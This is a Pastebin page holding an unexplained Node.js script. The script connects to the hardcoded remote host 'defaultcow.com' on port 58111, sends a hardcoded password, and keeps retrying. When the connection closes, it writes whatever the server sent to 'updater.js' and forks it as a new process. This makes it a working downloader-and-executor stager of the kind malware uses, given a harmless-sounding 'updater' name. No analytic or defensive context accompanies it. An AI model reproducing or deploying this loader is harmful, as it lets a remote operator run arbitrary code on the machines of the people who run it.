SHARE
TWEET

Untitled

a guest Nov 23rd, 2015 380 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. var net = require('net');
  2. var fs = require('fs');
  3. var path = require('path');
  4. var cp = require('child_process');
  5. var process = require('process');
  6.  
  7. process.on('uncaughtException', function(err) {
  8.   var str = new Error().stack.toString();
  9.   console.log(str);
  10.   try {
  11.     fs.appendFileSync("err.log", str + "\r\n\r\n");
  12.   } catch (e) {
  13.     console.log("WTF");
  14.   }
  15. });
  16. /*
  17. */
  18. var config = {
  19.   host : 'defaultcow.com',
  20.   port : '58111',
  21.   sentinel : '\0',
  22.   pass: 'SD30CzZqNjVKaW76dCRN',
  23.   updaterPath: "updater.js"
  24. };
  25.  
  26. var started = false;
  27.  
  28. var Server = function(host, port, pass, sentinel) {
  29.  
  30.   var recData = '';
  31.  
  32.   var sendStr = function(str, sentinel) {
  33.     socket.write(str);
  34.     socket.write(sentinel);
  35.   };
  36.  
  37.   this.disconnect = function() {
  38.     socket.end();
  39.   };
  40.  
  41.   this.setEventHandlers = function(onError, onEnd) {
  42.     this.onError = onError ? onError : function() {};
  43.     this.onEnd = onEnd ? onEnd : function() {};
  44.   };
  45.  
  46.   this.connect = function() {
  47.     if (started) {
  48.       return;
  49.     }
  50.     var server = this;
  51.     socket = net.connect(this.port, this.host, function() {
  52.       sendStr(server.pass, server.sentinel);
  53.       socket.setKeepAlive(true, 10 * 1000);
  54.     });
  55.  
  56.  
  57.     socket.on('data', function(data) {
  58.       data = data.toString();
  59.       recData += data;
  60.     });
  61.  
  62.     socket.on('error', function(err) {
  63.       server.onError(server);
  64.     });
  65.  
  66.     socket.on('end', function() {
  67.       server.onEnd(server);
  68.     });
  69.     socket.on('timeout', function() {
  70.       server.onError(server);
  71.     });
  72.  
  73.   };
  74.  
  75.   this.getData = function() {
  76.     return recData;
  77.   };
  78.  
  79.   this.setEventHandlers(null, null, null, null);
  80.   this.host = host;
  81.   this.port = port;
  82.   this.sentinel = sentinel;
  83.   this.pass = pass;
  84.  
  85.   var socket = null;
  86. };
  87.  
  88.  
  89. var onError = function(server) {
  90.   setTimeout(function() {
  91.     server.connect();
  92.   }, 2000);
  93. };
  94.  
  95. var onEnd = function(server) {
  96.   start(server.getData());
  97. };
  98.  
  99. var con = new Server(config.host, config.port, config.pass, config.sentinel);
  100. con.setEventHandlers(onError, onEnd);
  101. con.connect();
  102.  
  103. function start(recData) {
  104.   console.log("Starting");
  105.   if (started) {
  106.     return;
  107.   }
  108.   started = true;
  109.  
  110.   fs.writeFileSync(config.updaterPath, recData);
  111.   var out = 'ignore';
  112.   var err = 'ignore';
  113.   var proc = cp.fork(config.updaterPath);
  114.   proc.on('error', function (err) {
  115.     fs.appendFileSync("err.log", err.toString() + "\r\n\r\n");
  116.   });
  117.   con.disconnect();
  118. };
RAW Paste Data
Top